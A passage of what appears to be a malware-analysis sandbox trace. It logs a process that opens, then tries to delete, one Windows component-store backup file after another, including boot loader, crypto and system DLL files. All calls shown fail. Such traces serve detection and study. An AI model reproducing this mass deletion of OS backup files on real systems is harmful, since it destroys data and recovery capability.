(lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..os-loader.resources_31bf3856ad364e35_6.1.7601.18741_en-us_d49b3bd6fabe7c71_winload.exe.mui_3bc5b827" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..os-loader.resources_31bf3856ad364e35_6.1.7601.18741_en-us_d49b3bd6fabe7c71_winload.exe.mui_3bc5b827"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.183] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..os-loader.resources_31bf3856ad364e35_6.1.7601.18741_en-us_d49b3bd6fabe7c71_winload.exe.mui_3bc5b827" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..os-loader.resources_31bf3856ad364e35_6.1.7601.18741_en-us_d49b3bd6fabe7c71_winload.exe.mui_3bc5b827")) returned 0 [0066.183] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..os-loader.resources_31bf3856ad364e35_6.1.7601.18741_en-us_d49b3bd6fabe7c71_winresume.efi.mui_f412814e" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..os-loader.resources_31bf3856ad364e35_6.1.7601.18741_en-us_d49b3bd6fabe7c71_winresume.efi.mui_f412814e"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.183] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..os-loader.resources_31bf3856ad364e35_6.1.7601.18741_en-us_d49b3bd6fabe7c71_winresume.efi.mui_f412814e" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..os-loader.resources_31bf3856ad364e35_6.1.7601.18741_en-us_d49b3bd6fabe7c71_winresume.efi.mui_f412814e")) returned 0 [0066.183] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..os-loader.resources_31bf3856ad364e35_6.1.7601.18741_en-us_d49b3bd6fabe7c71_winresume.exe.mui_ff8b5358" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..os-loader.resources_31bf3856ad364e35_6.1.7601.18741_en-us_d49b3bd6fabe7c71_winresume.exe.mui_ff8b5358"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.183] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..os-loader.resources_31bf3856ad364e35_6.1.7601.18741_en-us_d49b3bd6fabe7c71_winresume.exe.mui_ff8b5358" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..os-loader.resources_31bf3856ad364e35_6.1.7601.18741_en-us_d49b3bd6fabe7c71_winresume.exe.mui_ff8b5358")) returned 0 [0066.184] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..re-memorydiagnostic_31bf3856ad364e35_6.1.7601.18741_none_3637d03b1b5800bc.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..re-memorydiagnostic_31bf3856ad364e35_6.1.7601.18741_none_3637d03b1b5800bc.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.184] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..re-memorydiagnostic_31bf3856ad364e35_6.1.7601.18741_none_3637d03b1b5800bc.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..re-memorydiagnostic_31bf3856ad364e35_6.1.7601.18741_none_3637d03b1b5800bc.manifest")) returned 0 [0066.184] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..re-memorydiagnostic_31bf3856ad364e35_6.1.7601.18741_none_3637d03b1b5800bc_memtest.efi_01d7fdbb" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..re-memorydiagnostic_31bf3856ad364e35_6.1.7601.18741_none_3637d03b1b5800bc_memtest.efi_01d7fdbb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.184] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..re-memorydiagnostic_31bf3856ad364e35_6.1.7601.18741_none_3637d03b1b5800bc_memtest.efi_01d7fdbb" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..re-memorydiagnostic_31bf3856ad364e35_6.1.7601.18741_none_3637d03b1b5800bc_memtest.efi_01d7fdbb")) returned 0 [0066.189] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..t-windows.resources_31bf3856ad364e35_6.1.7601.18741_en-us_7a7f7a8546e3f054.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..t-windows.resources_31bf3856ad364e35_6.1.7601.18741_en-us_7a7f7a8546e3f054.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.189] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..t-windows.resources_31bf3856ad364e35_6.1.7601.18741_en-us_7a7f7a8546e3f054.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..t-windows.resources_31bf3856ad364e35_6.1.7601.18741_en-us_7a7f7a8546e3f054.manifest")) returned 0 [0066.189] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..t-windows.resources_31bf3856ad364e35_6.1.7601.18741_en-us_7a7f7a8546e3f054_winload.efi.mui_35ee487d" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..t-windows.resources_31bf3856ad364e35_6.1.7601.18741_en-us_7a7f7a8546e3f054_winload.efi.mui_35ee487d"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.190] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..t-windows.resources_31bf3856ad364e35_6.1.7601.18741_en-us_7a7f7a8546e3f054_winload.efi.mui_35ee487d" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..t-windows.resources_31bf3856ad364e35_6.1.7601.18741_en-us_7a7f7a8546e3f054_winload.efi.mui_35ee487d")) returned 0 [0066.190] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..t-windows.resources_31bf3856ad364e35_6.1.7601.18741_en-us_7a7f7a8546e3f054_winload.exe.mui_3bc5b827" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..t-windows.resources_31bf3856ad364e35_6.1.7601.18741_en-us_7a7f7a8546e3f054_winload.exe.mui_3bc5b827"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.190] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..t-windows.resources_31bf3856ad364e35_6.1.7601.18741_en-us_7a7f7a8546e3f054_winload.exe.mui_3bc5b827" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..t-windows.resources_31bf3856ad364e35_6.1.7601.18741_en-us_7a7f7a8546e3f054_winload.exe.mui_3bc5b827")) returned 0 [0066.190] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..t-windows.resources_31bf3856ad364e35_6.1.7601.18741_en-us_7a7f7a8546e3f054_winresume.efi.mui_f412814e" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..t-windows.resources_31bf3856ad364e35_6.1.7601.18741_en-us_7a7f7a8546e3f054_winresume.efi.mui_f412814e"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.190] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..t-windows.resources_31bf3856ad364e35_6.1.7601.18741_en-us_7a7f7a8546e3f054_winresume.efi.mui_f412814e" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..t-windows.resources_31bf3856ad364e35_6.1.7601.18741_en-us_7a7f7a8546e3f054_winresume.efi.mui_f412814e")) returned 0 [0066.191] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..t-windows.resources_31bf3856ad364e35_6.1.7601.18741_en-us_7a7f7a8546e3f054_winresume.exe.mui_ff8b5358" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..t-windows.resources_31bf3856ad364e35_6.1.7601.18741_en-us_7a7f7a8546e3f054_winresume.exe.mui_ff8b5358"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.191] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..t-windows.resources_31bf3856ad364e35_6.1.7601.18741_en-us_7a7f7a8546e3f054_winresume.exe.mui_ff8b5358" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..t-windows.resources_31bf3856ad364e35_6.1.7601.18741_en-us_7a7f7a8546e3f054_winresume.exe.mui_ff8b5358")) returned 0 [0066.191] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..vironment-os-loader_31bf3856ad364e35_6.1.7601.18741_none_b9293c0383618646.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..vironment-os-loader_31bf3856ad364e35_6.1.7601.18741_none_b9293c0383618646.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.191] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..vironment-os-loader_31bf3856ad364e35_6.1.7601.18741_none_b9293c0383618646.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..vironment-os-loader_31bf3856ad364e35_6.1.7601.18741_none_b9293c0383618646.manifest")) returned 0 [0066.191] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..vironment-os-loader_31bf3856ad364e35_6.1.7601.18741_none_b9293c0383618646_winload.efi_75834aa0" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..vironment-os-loader_31bf3856ad364e35_6.1.7601.18741_none_b9293c0383618646_winload.efi_75834aa0"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.192] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..vironment-os-loader_31bf3856ad364e35_6.1.7601.18741_none_b9293c0383618646_winload.efi_75834aa0" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..vironment-os-loader_31bf3856ad364e35_6.1.7601.18741_none_b9293c0383618646_winload.efi_75834aa0")) returned 0 [0066.192] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..vironment-os-loader_31bf3856ad364e35_6.1.7601.18741_none_b9293c0383618646_winload.exe_75835076" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..vironment-os-loader_31bf3856ad364e35_6.1.7601.18741_none_b9293c0383618646_winload.exe_75835076"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.192] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..vironment-os-loader_31bf3856ad364e35_6.1.7601.18741_none_b9293c0383618646_winload.exe_75835076" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..vironment-os-loader_31bf3856ad364e35_6.1.7601.18741_none_b9293c0383618646_winload.exe_75835076")) returned 0 [0066.192] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..vironment-os-loader_31bf3856ad364e35_6.1.7601.18741_none_b9293c0383618646_winresume.efi_85cd069f" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..vironment-os-loader_31bf3856ad364e35_6.1.7601.18741_none_b9293c0383618646_winresume.efi_85cd069f"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.192] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..vironment-os-loader_31bf3856ad364e35_6.1.7601.18741_none_b9293c0383618646_winresume.efi_85cd069f" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..vironment-os-loader_31bf3856ad364e35_6.1.7601.18741_none_b9293c0383618646_winresume.efi_85cd069f")) returned 0 [0066.193] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..vironment-os-loader_31bf3856ad364e35_6.1.7601.18741_none_b9293c0383618646_winresume.exe_85cd1215" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..vironment-os-loader_31bf3856ad364e35_6.1.7601.18741_none_b9293c0383618646_winresume.exe_85cd1215"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.193] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..vironment-os-loader_31bf3856ad364e35_6.1.7601.18741_none_b9293c0383618646_winresume.exe_85cd1215" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..vironment-os-loader_31bf3856ad364e35_6.1.7601.18741_none_b9293c0383618646_winresume.exe_85cd1215")) returned 0 [0066.193] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-basedependencies_31bf3856ad364e35_6.1.7600.16385_none_5e96e36b42806ee7.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-basedependencies_31bf3856ad364e35_6.1.7600.16385_none_5e96e36b42806ee7.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.193] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-basedependencies_31bf3856ad364e35_6.1.7600.16385_none_5e96e36b42806ee7.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-basedependencies_31bf3856ad364e35_6.1.7600.16385_none_5e96e36b42806ee7.manifest")) returned 0 [0066.193] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-basedependencies_31bf3856ad364e35_6.1.7600.16385_none_5e96e36b42806ee7_psapi.dll_e8b5b4d1" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-basedependencies_31bf3856ad364e35_6.1.7600.16385_none_5e96e36b42806ee7_psapi.dll_e8b5b4d1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.193] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-basedependencies_31bf3856ad364e35_6.1.7600.16385_none_5e96e36b42806ee7_psapi.dll_e8b5b4d1" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-basedependencies_31bf3856ad364e35_6.1.7600.16385_none_5e96e36b42806ee7_psapi.dll_e8b5b4d1")) returned 0 [0066.199] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-basesrv_31bf3856ad364e35_6.1.7600.16385_none_68bfdc7cfd6bd477.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-basesrv_31bf3856ad364e35_6.1.7600.16385_none_68bfdc7cfd6bd477.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.199] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-basesrv_31bf3856ad364e35_6.1.7600.16385_none_68bfdc7cfd6bd477.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-basesrv_31bf3856ad364e35_6.1.7600.16385_none_68bfdc7cfd6bd477.manifest")) returned 0 [0066.200] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-basesrv_31bf3856ad364e35_6.1.7600.16385_none_68bfdc7cfd6bd477_basesrv.dll_8c1ad808" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-basesrv_31bf3856ad364e35_6.1.7600.16385_none_68bfdc7cfd6bd477_basesrv.dll_8c1ad808"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.200] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-basesrv_31bf3856ad364e35_6.1.7600.16385_none_68bfdc7cfd6bd477_basesrv.dll_8c1ad808" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-basesrv_31bf3856ad364e35_6.1.7600.16385_none_68bfdc7cfd6bd477_basesrv.dll_8c1ad808")) returned 0 [0066.200] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-basic-misc-tools_31bf3856ad364e35_6.1.7600.16385_none_7351a917d91c961e.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-basic-misc-tools_31bf3856ad364e35_6.1.7600.16385_none_7351a917d91c961e.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.200] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-basic-misc-tools_31bf3856ad364e35_6.1.7600.16385_none_7351a917d91c961e.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-basic-misc-tools_31bf3856ad364e35_6.1.7600.16385_none_7351a917d91c961e.manifest")) returned 0 [0066.200] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-basic-misc-tools_31bf3856ad364e35_6.1.7600.16385_none_7351a917d91c961e_expand.exe_f43b24c8" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-basic-misc-tools_31bf3856ad364e35_6.1.7600.16385_none_7351a917d91c961e_expand.exe_f43b24c8"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.201] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-basic-misc-tools_31bf3856ad364e35_6.1.7600.16385_none_7351a917d91c961e_expand.exe_f43b24c8" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-basic-misc-tools_31bf3856ad364e35_6.1.7600.16385_none_7351a917d91c961e_expand.exe_f43b24c8")) returned 0 [0066.201] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-basic-misc-tools_31bf3856ad364e35_6.1.7600.16385_none_7351a917d91c961e_netmsg.dll_52337068" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-basic-misc-tools_31bf3856ad364e35_6.1.7600.16385_none_7351a917d91c961e_netmsg.dll_52337068"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.201] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-basic-misc-tools_31bf3856ad364e35_6.1.7600.16385_none_7351a917d91c961e_netmsg.dll_52337068" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-basic-misc-tools_31bf3856ad364e35_6.1.7600.16385_none_7351a917d91c961e_netmsg.dll_52337068")) returned 0 [0066.201] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-bcrypt-dll_31bf3856ad364e35_6.1.7600.16385_none_4a8185140916af36.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-bcrypt-dll_31bf3856ad364e35_6.1.7600.16385_none_4a8185140916af36.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.202] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-bcrypt-dll_31bf3856ad364e35_6.1.7600.16385_none_4a8185140916af36.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-bcrypt-dll_31bf3856ad364e35_6.1.7600.16385_none_4a8185140916af36.manifest")) returned 0 [0066.202] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-bcrypt-dll_31bf3856ad364e35_6.1.7600.16385_none_4a8185140916af36_bcrypt.dll_e2f091ac" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-bcrypt-dll_31bf3856ad364e35_6.1.7600.16385_none_4a8185140916af36_bcrypt.dll_e2f091ac"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.202] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-bcrypt-dll_31bf3856ad364e35_6.1.7600.16385_none_4a8185140916af36_bcrypt.dll_e2f091ac" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-bcrypt-dll_31bf3856ad364e35_6.1.7600.16385_none_4a8185140916af36_bcrypt.dll_e2f091ac")) returned 0 [0066.202] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-bcrypt-primitives-dll_31bf3856ad364e35_6.1.7601.17514_none_70577ed42da9d71d.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-bcrypt-primitives-dll_31bf3856ad364e35_6.1.7601.17514_none_70577ed42da9d71d.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.202] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-bcrypt-primitives-dll_31bf3856ad364e35_6.1.7601.17514_none_70577ed42da9d71d.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-bcrypt-primitives-dll_31bf3856ad364e35_6.1.7601.17514_none_70577ed42da9d71d.manifest")) returned 0 [0066.203] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-bcrypt-primitives-dll_31bf3856ad364e35_6.1.7601.17514_none_70577ed42da9d71d_bcryptprimitives.dll_5dcb347c" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-bcrypt-primitives-dll_31bf3856ad364e35_6.1.7601.17514_none_70577ed42da9d71d_bcryptprimitives.dll_5dcb347c"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.203] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-bcrypt-primitives-dll_31bf3856ad364e35_6.1.7601.17514_none_70577ed42da9d71d_bcryptprimitives.dll_5dcb347c" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-bcrypt-primitives-dll_31bf3856ad364e35_6.1.7601.17514_none_70577ed42da9d71d_bcryptprimitives.dll_5dcb347c")) returned 0 [0066.203] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-bootvid_31bf3856ad364e35_6.1.7600.16385_none_946e6d209fe56342.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-bootvid_31bf3856ad364e35_6.1.7600.16385_none_946e6d209fe56342.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.203] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-bootvid_31bf3856ad364e35_6.1.7600.16385_none_946e6d209fe56342.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-bootvid_31bf3856ad364e35_6.1.7600.16385_none_946e6d209fe56342.manifest")) returned 0 [0066.203] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-bootvid_31bf3856ad364e35_6.1.7600.16385_none_946e6d209fe56342_bootvid.dll_c188118d" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-bootvid_31bf3856ad364e35_6.1.7600.16385_none_946e6d209fe56342_bootvid.dll_c188118d"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.204] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-bootvid_31bf3856ad364e35_6.1.7600.16385_none_946e6d209fe56342_bootvid.dll_c188118d" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-bootvid_31bf3856ad364e35_6.1.7600.16385_none_946e6d209fe56342_bootvid.dll_c188118d")) returned 0 [0066.204] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-branding-engine_31bf3856ad364e35_6.1.7600.16385_none_455eca447f151391.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-branding-engine_31bf3856ad364e35_6.1.7600.16385_none_455eca447f151391.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.204] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-branding-engine_31bf3856ad364e35_6.1.7600.16385_none_455eca447f151391.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-branding-engine_31bf3856ad364e35_6.1.7600.16385_none_455eca447f151391.manifest")) returned 0 [0066.204] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-branding-engine_31bf3856ad364e35_6.1.7600.16385_none_455eca447f151391_winbrand.dll_9cd6a3cf" (normalized: 